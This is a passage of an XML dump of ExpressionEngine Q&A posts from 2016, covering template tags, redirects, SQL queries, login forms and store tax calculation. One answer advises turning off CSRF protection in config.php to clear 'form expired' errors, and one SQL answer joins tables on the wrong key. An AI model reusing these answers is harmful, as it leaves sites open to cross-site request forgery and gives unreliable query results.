&amp;lt;p&amp;gt;&#xA;                        Details: {event_summary}&amp;lt;br /&amp;gt;&#xA;                        Location: {event_location}&#xA;                    &amp;lt;/p&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            {/events}&#xA;        {/display_each_hour}&#xA;    {/display_each_day}&#xA;{/exp:calendar:cal}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="884" LastActivityDate="2016-01-11T15:56:02.107" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35237" PostTypeId="1" CreationDate="2016-01-11T16:36:36.310" Score="1" ViewCount="73" Body="&lt;p&gt;I'm trying to load videos in a standard channel but the videos are not outputting&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;videos&quot; disable=&quot;categories|category_fields|member_data|pagination|trackbacks&quot; limit=&quot;1&quot;}&#xA;    {exp:channel_videos:videos entry_id=&quot;{entry_id}&quot; limit=&quot;1&quot;}&#xA;      {video:service_id}//not working&#xA;      {video:embed_code}//not working&#xA;    {/exp:channel_videos:videos}&#xA;    {page_content_video}//working&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Version 3.2.0, EE 2.10.1&lt;/p&gt;&#xA;" OwnerUserId="3369" LastEditorUserId="3369" LastEditDate="2016-01-11T17:34:18.633" LastActivityDate="2016-01-11T17:34:18.633" Title="Channel Videos not outputting entry data" Tags="|channel-videos|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35238" PostTypeId="1" AcceptedAnswerId="35239" CreationDate="2016-01-11T16:45:49.103" Score="0" ViewCount="33" Body="&lt;p&gt;What I'm hoping to achieve is for someone visiting &lt;code&gt;/events&lt;/code&gt; on my site to be redirected to the current event's page ( &lt;code&gt;/events/{url_title}&lt;/code&gt; ). However, this redirect would be dynamic to check for the one entry I have marked as the current entry, via a custom &lt;code&gt;current_entry&lt;/code&gt; field I've created (only one entry would be marked as true for this).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible to achieve without leveraging a plugin? I've only managed to get as far as hardcoding the redirect...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {if last_segment == 'grid'}&#xA;&#xA;        {redirect='events/grid/sxsw'}&#xA;&#xA;    {if:else}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6989" LastActivityDate="2016-01-11T17:09:41.760" Title="Redirect to entry with true value for certain field?" Tags="|redirects|url-title|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35239" PostTypeId="2" ParentId="35238" CreationDate="2016-01-11T17:09:41.760" Score="0" Body="&lt;p&gt;You could perhaps leverage the &lt;code&gt;search&lt;/code&gt; param on a channel entries tag. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.expressionengine.com/latest/channel/channel_entries.html#search-field-name&quot; rel=&quot;nofollow&quot;&gt;https://docs.expressionengine.com/latest/channel/channel_entries.html#search-field-name&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Possible Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if last_segment == 'grid'}&#xA;&#xA;    {exp:channel:entries&#xA;        channel=&quot;events&quot;&#xA;        limit=&quot;1&quot;&#xA;        search:current_entry=&quot;Yes&quot;}&#xA;&#xA;        {redirect='events/grid/{url_title}'}&#xA;&#xA;    {/exp:channel:entries}&#xA;&#xA;{if:else}&#xA;&#xA;    ... whatever else you were planning&#xA;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This would depend on your &lt;code&gt;current_entry&lt;/code&gt; field having a value of &quot;Yes&quot; for the entry you want to feature. There is, however, an easier way to go about this that wouldn't require your custom field. Provided that you only have one featured entry at a time, you can tag that entry as &quot;Sticky&quot;. It's under the &lt;code&gt;Options&lt;/code&gt; tab on a channel entry form (&quot;Make Entry Sticky&quot;). Then do the same thing but drop needing a custom field. A sticky entry should always come up first in a channel entries loop.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;events&quot;&#xA;    limit=&quot;1&quot;}&#xA;&#xA;    {redirect='events/grid/{url_title}'}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2016-01-11T17:09:41.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35241" PostTypeId="1" AcceptedAnswerId="35247" CreationDate="2016-01-11T19:40:50.533" Score="0" ViewCount="147" Body="&lt;p&gt;I can't get the &quot;error page&quot; parameter to work with the Solspace login form. &#xA;&lt;a href=&quot;https://solspace.com/expressionengine/user/docs/error_page/&quot; rel=&quot;nofollow&quot;&gt;https://solspace.com/expressionengine/user/docs/error_page/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know if it is supported by the login form? See my code below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:member:login_form &#xA;    return=&quot;{last_page_visited}&quot; &#xA;    error_page=&quot;site/login-error&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If not, any other suggestions outside of the &quot;Custom System Msgs&quot; module.&lt;/p&gt;&#xA;" OwnerUserId="2826" LastEditorUserId="3579" LastEditDate="2016-01-11T19:44:58.667" LastActivityDate="2016-01-12T13:19:37.593" Title="Solspace User Login Form - Custom Error page" Tags="|members|solspace-user|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35242" PostTypeId="1" CreationDate="2016-01-11T19:52:14.410" Score="0" ViewCount="176" Body="&lt;p&gt;I'm getting 2-3 submissions from the same user when they submit.. all with the same information. I can't figure out if a refresh of the page or something is doing this? Any ideas how i can stop this? i was going to use prevent duplicates on the email address, but won't this block that same user from submitting a form in the future?&lt;/p&gt;&#xA;" OwnerUserId="6772" LastActivityDate="2016-11-09T17:39:29.890" Title="Freeform - getting multiple submissions per user" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="35244" PostTypeId="2" ParentId="35227" CreationDate="2016-01-12T07:59:18.810" Score="0" Body="&lt;p&gt;With the code you provided I get the desired output (800x600). Is there more code in your template? There could be an error there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use EE 2.10.1 and Matrix 2.6.1.&lt;/p&gt;&#xA;" OwnerUserId="6205" LastActivityDate="2016-01-12T07:59:18.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35245" PostTypeId="1" CreationDate="2016-01-12T11:43:50.470" Score="0" ViewCount="77" Body="&lt;p&gt;I'm on EE2.10.1, and trying to grab unique countries from a channel that has one field for &quot;country name&quot; and one field for &quot;country code&quot;. So I've got the following query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT DISTINCT field_id_47 AS country_code, field_id_46 AS country FROM exp_channel_data WHERE channel_id='4' ORDER BY field_id_46 ASC&quot;}&#xA;    &amp;lt;option value=&quot;{country_code}&quot;&amp;gt;{country}&amp;lt;/option&amp;gt;&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... which works great, except: I need to exclude expired entries (but include future entries). I think it probably involves doing a JOIN on exp_channel_titles, but my SQL isn't really up to it!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know what the correct query should be? Thanks loads!&lt;/p&gt;&#xA;" OwnerUserId="3000" LastActivityDate="2016-06-14T23:47:12.773" Title="Query exp_channel_data but exclude expired entries" Tags="|ee2|query|query-module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35246" PostTypeId="1" AcceptedAnswerId="35248" CreationDate="2016-01-12T12:34:56.553" Score="3" ViewCount="150" Body="&lt;p&gt;I have a Multi Site Manager installation with Sites A and B set up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Site A contains a channel, &quot;Foo&quot; which has a number of category groups assigned to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On Site A, I can easily show a list of categories with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories category_group=&quot;1&quot; style=&quot;linear&quot; show_empty=&quot;yes&quot;}&#xA;{category_name}&amp;lt;br&amp;gt;&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This outputs a list of category names as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to do the same on Site B. But using the same code shows nothing.&#xA;I tried adding a site parameter, a site_id parameter, specifying the channel name, specifying the sitename:channel name. All to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I show the list of categories on Site B?&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2016-05-28T09:09:06.680" Title="Displaying categories across sites with Multi Site manager" Tags="|categories|multi-site-manager|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35247" PostTypeId="2" ParentId="35241" CreationDate="2016-01-12T13:19:37.593" Score="1" Body="&lt;p&gt;It is because User does not have it's own login template and uses the native EE login form, therefore any User parameters, such as error_page, won't function there.&#xA;&lt;a href=&quot;https://solspace.com/expressionengine/user/docs/login/&quot; rel=&quot;nofollow&quot;&gt;https://solspace.com/expressionengine/user/docs/login/&lt;/a&gt;&#xA;&quot;User does not have it's own Login template tag, as the ExpressionEngine Login_Form tag is pretty sufficient.&quot;&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2016-01-12T13:19:37.593" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35248" PostTypeId="2" ParentId="35246" CreationDate="2016-01-12T13:38:02.170" Score="0" Body="&lt;p&gt;I have done it in the past this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT cat_id, cat_name, cat_url_title FROM exp_categories WHERE group_id = 'xxx'&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="315" LastActivityDate="2016-01-12T13:38:02.170" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35249" PostTypeId="2" ParentId="35245" CreationDate="2016-01-12T13:53:21.007" Score="0" Body="&lt;p&gt;try something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT DISTINCT &#xA;d.field_id_47 AS country_code, &#xA;d.field_id_46 AS country &#xA;FROM exp_channel_data d&#xA;LEFT JOIN exp_channel_titles t ON d.channel_id = t.channel_id&#xA;WHERE t.channel_id='4' &#xA;AND ( t.expiration_date = 0 OR t.expiration_date &amp;gt;= UNIX_TIMESTAMP() )&#xA;ORDER BY d.field_id_46 ASC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="315" LastActivityDate="2016-01-12T13:53:21.007" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35251" PostTypeId="2" ParentId="35235" CreationDate="2016-01-12T15:31:48.533" Score="1" Body="&lt;p&gt;Okay, I was able to get what I needed, mainly with the help of a query similar to this one:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT entry_id, MIN(start_date) AS start&#xA;FROM (&#xA;    (SELECT entry_id, start_date FROM exp_calendar_events)&#xA;    UNION&#xA;    (SELECT entry_id, start_date FROM exp_calendar_events_occurrences)&#xA;) AS events&#xA;WHERE start_date &amp;gt;= '20160101'&#xA;GROUP BY entry_id&#xA;ORDER BY start ASC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...which gives me all entry/event IDs in the order of their first occurrence, from the given date onward.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2016-01-12T15:31:48.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35252" PostTypeId="2" ParentId="34380" CreationDate="2016-01-12T15:48:25.773" Score="0" Body="&lt;p&gt;I had something similar happen to me with CodeIgniter (which forms the base of Expression Engine). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This occurs when the SMTP server disappears in the process of  sending a mail. fwrite() has a bug to be giving a wrong return (in a loop) in that occasion (see &lt;a href=&quot;https://bugs.php.net/bug.php?id=39598&quot; rel=&quot;nofollow&quot;&gt;https://bugs.php.net/bug.php?id=39598&lt;/a&gt; and &lt;a href=&quot;http://php.net/manual/en/function.fwrite.php#96951&quot; rel=&quot;nofollow&quot;&gt;http://php.net/manual/en/function.fwrite.php#96951&lt;/a&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anticipation on the return value of the send() function is what I did: have it returned a &quot;mail not send&quot; message to the user so further corresponding action could be taken. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$is_send = $this-&amp;gt;email-&amp;gt;send(FALSE);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6991" LastActivityDate="2016-01-12T15:48:25.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35255" PostTypeId="2" ParentId="35246" CreationDate="2016-01-12T18:13:09.403" Score="0" Body="&lt;p&gt;Using the &lt;strong&gt;show=&quot;category_ids&quot;&lt;/strong&gt; should work, though that's the individual category ids. Not sure about category groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, maybe not specific to this, but &lt;strong&gt;relaxed_categories=&quot;yes&quot;&lt;/strong&gt; helps with a lot of category indicator URL problems working with MSM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GWcode Categories may help, as well: &lt;a href=&quot;http://gwcode.com/add-ons/gwcode-categories&quot; rel=&quot;nofollow&quot;&gt;http://gwcode.com/add-ons/gwcode-categories&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1379" LastEditorUserId="1379" LastEditDate="2016-01-12T18:51:04.353" LastActivityDate="2016-01-12T18:51:04.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35256" PostTypeId="1" CreationDate="2016-01-12T20:05:01.463" Score="0" ViewCount="35" Body="&lt;p&gt;I am using Profile:Edit to register new members, then using Postmaster to trigger emails when they have registered and been approved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am currently having a problem with Postmaster when I use the &quot;screen_name&quot; field when registering in Profile:Edit. I receive this error.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error&#xA;&#xA;Mandrill Service - Error: The requested URL returned error: 500 Internal Server Error&#xA;history.go(-1);”]« Back&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Even though I am getting this error, the member still registered to the site, but the Postmaster email is not triggered. But if I remove screen_name in the registration form the member is registered and an email is triggered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have right now username, screen name, and email all as the email address of the registered member, and would like to add some uniqueness to screen_name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone come into an error like this using postmaster?&lt;/p&gt;&#xA;" OwnerUserId="633" LastActivityDate="2016-03-17T07:40:36.890" Title="Postmaster error with Mandrill App" Tags="|postmaster|profile-edit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35257" PostTypeId="2" ParentId="9595" CreationDate="2016-01-12T20:51:32.200" Score="0" Body="&lt;p&gt;I've been using the &quot;Advisory Title&quot; in Advanced properties. It makes a &quot;title&quot; attribute. Then using jQuery to render an html caption from the attribute of the image tag. It's OK, but the content requires that you code things like quotes, apostrophes etc. as htmlchars, like &amp;apos; or &amp;quot; (instead of &quot; and '); or it will ruin your markup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the image is placed in the copy when editing in Wygwam, right click on it, and you will see a menu item for image properties. Find &quot;Advisory Title&quot; and write your caption in there. Make sure there are no (&quot; or ') characters. Wygwam will save the content. Then you can pull out the value using jQuery and create a caption directly beneath the image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing to try would be to see if settings can be changed in the Wygwam channel to allow quotes and store them as html characters. A problem with this method is that it is probably not what the title attribute is for.&lt;/p&gt;&#xA;" OwnerUserId="6993" LastEditorUserId="6993" LastEditDate="2016-03-16T16:12:03.667" LastActivityDate="2016-03-16T16:12:03.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35258" PostTypeId="1" CreationDate="2016-01-13T01:39:17.450" Score="0" ViewCount="91" Body="&lt;p&gt;I just started a fresh site with ExpressionEngine 3.0.6 and it seems like everything I do creates a Fatal Error. They are all the same error too.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Call to a member function on a non-object&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the case with the simplest of tasks such as avatar selection. It also happens when I try to save settings inside of addons. The &quot;function&quot; it references is always different, depending on the task at hand, but the error is the same. If EE wanted to be more OO, I understand that, but breaking things on a $300 license is killing me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any kind of &quot;simple&quot; fix to correct the non-object references?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/C30vI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/C30vI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3139" LastEditorUserId="3139" LastEditDate="2016-01-13T19:08:26.133" LastActivityDate="2016-01-13T19:08:26.133" Title="New release full of fatal errors - Fatal error: Call to a member function on a non-object" Tags="|error|ee3|fatal|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35259" PostTypeId="1" CreationDate="2016-01-13T05:14:33.793" Score="0" ViewCount="82" Body="&lt;p&gt;In the admin CP, I receive this error:&#xA;&quot;This form has expired. Please refresh and try again.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This happens when I try to change a template, create one, or save anything to the site. Refreshing and trying again does nothing, my only solution is to switch browsers or clear browser caches, log in again, and try again which fixes the problem very temporarily. It happens every time I start working on the site again after being off of it, and it sometimes starts happening in the middle of working. Site is in development still, haven't even started editing channels yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Multi-site v 2.9.3&lt;/p&gt;&#xA;" OwnerUserId="6996" LastActivityDate="2016-04-20T07:25:52.247" Title="An Error Was Encountered" Tags="|templates|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35260" PostTypeId="2" ParentId="35256" CreationDate="2016-01-13T07:36:28.397" Score="0" Body="&lt;p&gt;I get these errors in mandrill when there is a tag instead of an email address.&lt;/p&gt;&#xA;" OwnerUserId="433" LastActivityDate="2016-01-13T07:36:28.397" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35261" PostTypeId="2" ParentId="35259" CreationDate="2016-01-13T11:43:41.343" Score="1" Body="&lt;p&gt;EE changed it's security specs from 2.8. If your are having difficulties with Codeigniter's CSRF protection on your local machine I would add this variable to your config.php file &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$config[‘disable_csrf_protection’] = “y”;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1148" LastActivityDate="2016-01-13T11:43:41.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35263" PostTypeId="2" ParentId="35220" CreationDate="2016-01-13T13:06:45.023" Score="1" Body="&lt;p&gt;The localisation settings only adjusts the language in the control panel. I can recommend the add on &lt;a href=&quot;https://devot-ee.com/add-ons/date-time-language-converter&quot; rel=&quot;nofollow&quot;&gt;Date/Time Language Converter&lt;/a&gt; to adjust dates to the correct language in your templates. &lt;/p&gt;&#xA;" OwnerUserId="6205" LastEditorUserId="6205" LastEditDate="2016-01-14T07:07:50.463" LastActivityDate="2016-01-14T07:07:50.463" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35265" PostTypeId="1" AcceptedAnswerId="35574" CreationDate="2016-01-13T15:21:12.340" Score="0" ViewCount="80" Body="&lt;p&gt;I have stumbled across an issue with the forum module whereby if you have a site_url specified in config as protocol agnostic, i.e. minus http: or https: then the redirect after forum log-in always returns you to the site home page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My site_url value is set as &quot;//www.example.com&quot;&#xA;My Forum URL is set as &quot;/forums/&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the redirect after log-in through the forum templates occurs I get sent to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.example.com/www.example.com/forums&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com/www.example.com/forums&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts? :/&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2016-02-16T17:17:45.660" Title="Redirect after forum log-in when site_url is protocol agnostic" Tags="|login|config|forum|domain|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35267" PostTypeId="1" AcceptedAnswerId="35268" CreationDate="2016-01-13T17:41:53.293" Score="0" ViewCount="34" Body="&lt;p&gt;&lt;strong&gt;Software&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE: v2.10.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Expresso Store: v2.5.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Scenario&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cart contains 1 product priced at 1600 (tax included in price)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shipping is free, that is 0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tax is 25%&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Store outputs&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{order_total} = 1600&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So far so good.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{tax_percent} = 25%&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This too, is correct, but then:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{order_tax} = 320&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Correct me if I'm wrong, but 25% of 1600 = 400. I don't understand why Store outputs 320 (ie calculates tax using 20% instead of 25%, which is 320).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've since checked for this issue on other client sites with the same setup, and indeed there too, this is happening.. which is kind of a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anybody advice? It would be much appreciated! Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="1525" LastActivityDate="2016-01-13T21:20:35.480" Title="Expresso Store: Wrong tax calculation" Tags="|expresso-store|expresso|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35268" PostTypeId="2" ParentId="35267" CreationDate="2016-01-13T21:15:06.800" Score="2" Body="&lt;p&gt;This happens because the actual price of the item without tax is not 1200 as you are assuming the actual price of the item without tax would be $1280.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(1280 * .25) + 1280 = 1600&#xA;(product price * tax rate) + product price = tax inclusive total price &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For example if I had a product that was $20 tax inclusive with 25% tax applied the item price without tax would be $16 oppose to $15 which would happen when you try to take 25% from the total price of $20&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2016-01-13T21:20:35.480" LastActivityDate="2016-01-13T21:20:35.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35269" PostTypeId="1" CreationDate="2016-01-13T21:26:57.553" Score="2" ViewCount="254" Body="&lt;p&gt;EE 2.10.1&#xA;Lv 2.6.1&#xA;Assets 2.6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got a Low Variables grid with a once cell Assets and in the assets you can upload multiple images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/15590/assets-field-inside-of-a-grid-inside-of-a-low-variable-asset-not-saving&quot;&gt;this thread&lt;/a&gt; I was able to successfully display a single image, but there is no way to loop through the assets to pull up all files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My current partially working code looks like this where title, image, and copy or cells in the grid.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        {exp:low_variables:pair var=&quot;lv-deal-sidebar-widget&quot;}&#xA;            &amp;lt;aside&amp;gt;&#xA;                &amp;lt;h3&amp;gt;{lv-deal-sidebar-widget:title}&amp;lt;/h3&amp;gt;&#xA;&#xA;                {exp:ce_img:single src=&quot;{lv-deal-sidebar-widget:image:url}&quot; width=&quot;300&quot; height=&quot;240&quot; crop=&quot;yes&quot; attributes=&quot;class='img-responsive'&quot;}&#xA;&#xA;                &amp;lt;div class=&quot;widget-copy&quot;&amp;gt;&#xA;                    {lv-deal-sidebar-widget:copy}&#xA;                &amp;lt;/div&amp;gt;&amp;lt;!-- /.widget-copy --&amp;gt;&#xA;            &amp;lt;/aside&amp;gt;&#xA;        {/exp:low_variables:pair}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I try to get more than one image using &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/8969/how-do-i-get-the-full-assets-url-from-low-variables&quot;&gt;this thread&lt;/a&gt; as a guide and this simplified code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        {exp:low_variables:pair var=&quot;lv-deal-sidebar-widget&quot; var_prefix=&quot;assets&quot;}&#xA;            &amp;lt;aside&amp;gt;&#xA;&#xA;                &amp;lt;p&amp;gt;{lv-deal-sidebar-widget:image:url}&amp;lt;/p&amp;gt;&#xA;&#xA;                {assets:image}&#xA;                    {assets:url} &amp;lt;br /&amp;gt;&#xA;                {/assets:image}&#xA;&#xA;            &amp;lt;/aside&amp;gt;&#xA;        {/exp:low_variables:pair}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the assets pair doesn't render it just outputs the code as is. Any ideas on how to fix this?&lt;/p&gt;&#xA;" OwnerUserId="15" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2016-02-18T19:54:29.007" Title="Assets in Grid In Low Variables - multiple files" Tags="|assets|pixelandtonic|grid|low-variables|low|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35270" PostTypeId="2" ParentId="35269" CreationDate="2016-01-13T21:49:31.437" Score="1" Body="&lt;p&gt;When using the Parse or Pair tag to output a Grid field, the tag will act the same as a regular Channel Grid field would. That means you can use the same &lt;a href=&quot;https://docs.expressionengine.com/v2/add-ons/channel/grid.html#template-tags&quot; rel=&quot;nofollow&quot;&gt;template tags and parameters&lt;/a&gt;. That means the &lt;code&gt;var_prefix&lt;/code&gt; parameter won't do anything, because it's not a valid Grid parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also means you need to prefix all Grid columns with the field/var name. So rather than using &lt;code&gt;{assets:image}{/assets:image}&lt;/code&gt;, you should use what you're already using with the &lt;code&gt;title&lt;/code&gt; column: &lt;code&gt;{lv-deal-sidebar-widget:image}{/lv-deal-sidebar-widget:image}&lt;/code&gt; (assuming &lt;code&gt;image&lt;/code&gt; is the name of the Assets column in Grid).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That, in turn, will act the same as a regular Assets field, so you should be able to use &lt;a href=&quot;http://docs.pixelandtonic.com/assets/templating/field.html&quot; rel=&quot;nofollow&quot;&gt;any of its template tags&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; To illustrate:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- a LV Grid with Assets column --}&#xA;{exp:low_variables:pair var=&quot;my_grid_var&quot;}&#xA;    {my_grid_var:assets_column_name var_prefix=&quot;foo&quot;}&#xA;        {foo:my_grid_var:assets_column_name:url}&#xA;    {/my_grid_var:assets_column_name}&#xA;{/exp:low_variables:pair}&#xA;&#xA;{!-- an Assets var --}&#xA;{exp:low_variables:pair var=&quot;my_assets_var&quot;}&#xA;    {url}&#xA;{/exp:low_variables:pair}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastEditorUserId="172" LastEditDate="2016-01-14T15:33:22.833" LastActivityDate="2016-01-14T15:33:22.833" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
